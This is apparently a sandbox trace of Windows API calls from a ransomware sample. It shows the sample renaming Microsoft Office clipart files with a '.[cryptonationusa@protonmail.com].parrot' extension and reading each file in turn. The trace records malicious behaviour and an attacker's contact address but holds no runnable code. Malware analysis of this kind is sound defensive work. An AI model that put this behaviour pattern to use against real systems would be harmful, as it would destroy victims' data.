[0145.237] CloseHandle (hObject=0x288) returned 1 [0145.237] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.241] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7d5e, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.241] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.242] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.243] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.243] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7c46, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7c46, lpOverlapped=0x0) returned 1 [0145.245] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.246] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7d5e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.246] CloseHandle (hObject=0x288) returned 1 [0145.246] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.252] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x55c0, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.252] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.253] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.254] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.254] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x54a8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x54a8, lpOverlapped=0x0) returned 1 [0145.256] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.256] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x55c0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.257] CloseHandle (hObject=0x288) returned 1 [0145.257] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.261] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b96, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.261] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.261] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.263] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.263] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a7e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1a7e, lpOverlapped=0x0) returned 1 [0145.344] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.345] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b96, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.345] CloseHandle (hObject=0x288) returned 1 [0145.345] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.354] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f18, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.354] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.355] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.356] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.356] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1e00, lpOverlapped=0x0) returned 1 [0145.357] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.357] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.357] CloseHandle (hObject=0x288) returned 1 [0145.358] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.362] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc88, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.362] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.362] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.363] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.364] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb70, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb70, lpOverlapped=0x0) returned 1 [0145.364] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.364] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc88, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.364] CloseHandle (hObject=0x288) returned 1 [0145.364] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.368] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x17b8, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.368] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.369] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.370] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.370] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16a0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x16a0, lpOverlapped=0x0) returned 1 [0145.371] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.371] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x17b8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.371] CloseHandle (hObject=0x288) returned 1 [0145.372] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.375] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x17f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.376] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.376] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.377] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.377] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16d8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x16d8, lpOverlapped=0x0) returned 1 [0145.378] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.379] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x17f0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.379] CloseHandle (hObject=0x288) returned 1 [0145.379] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.383] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2050, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.383] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.383] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.424] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.424] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f38, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1f38, lpOverlapped=0x0) returned 1 [0145.425] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.426] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2050, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.426] CloseHandle (hObject=0x288) returned 1 [0145.426] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.431] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1360, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.431] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.431] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.433] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.433] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1248, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1248, lpOverlapped=0x0) returned 1 [0145.434] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.434] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1360, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.434] CloseHandle (hObject=0x288) returned 1 [0145.435] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.443] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2348, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.443] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.443] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.445] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.445] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2230, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2230, lpOverlapped=0x0) returned 1 [0145.446] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.446] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2348, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.447] CloseHandle (hObject=0x288) returned 1 [0145.447] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.451] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x16c8, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.451] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.451] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.453] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.453] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15b0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x15b0, lpOverlapped=0x0) returned 1 [0145.454] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.454] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16c8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.454] CloseHandle (hObject=0x288) returned 1 [0145.454] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.458] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1970, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.458] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.459] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.472] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.472] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1858, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1858, lpOverlapped=0x0) returned 1 [0145.473] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.473] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1970, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.473] CloseHandle (hObject=0x288) returned 1 [0145.474] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.479] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d8c, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.479] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.479] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.489] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.489] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c74, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1c74, lpOverlapped=0x0) returned 1 [0145.491] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.491] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d8c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.491] CloseHandle (hObject=0x288) returned 1 [0145.492] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.496] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x17ac, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.496] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.496] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.498] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.498] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1694, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1694, lpOverlapped=0x0) returned 1 [0145.499] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.499] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x17ac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.499] CloseHandle (hObject=0x288) returned 1 [0145.499] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 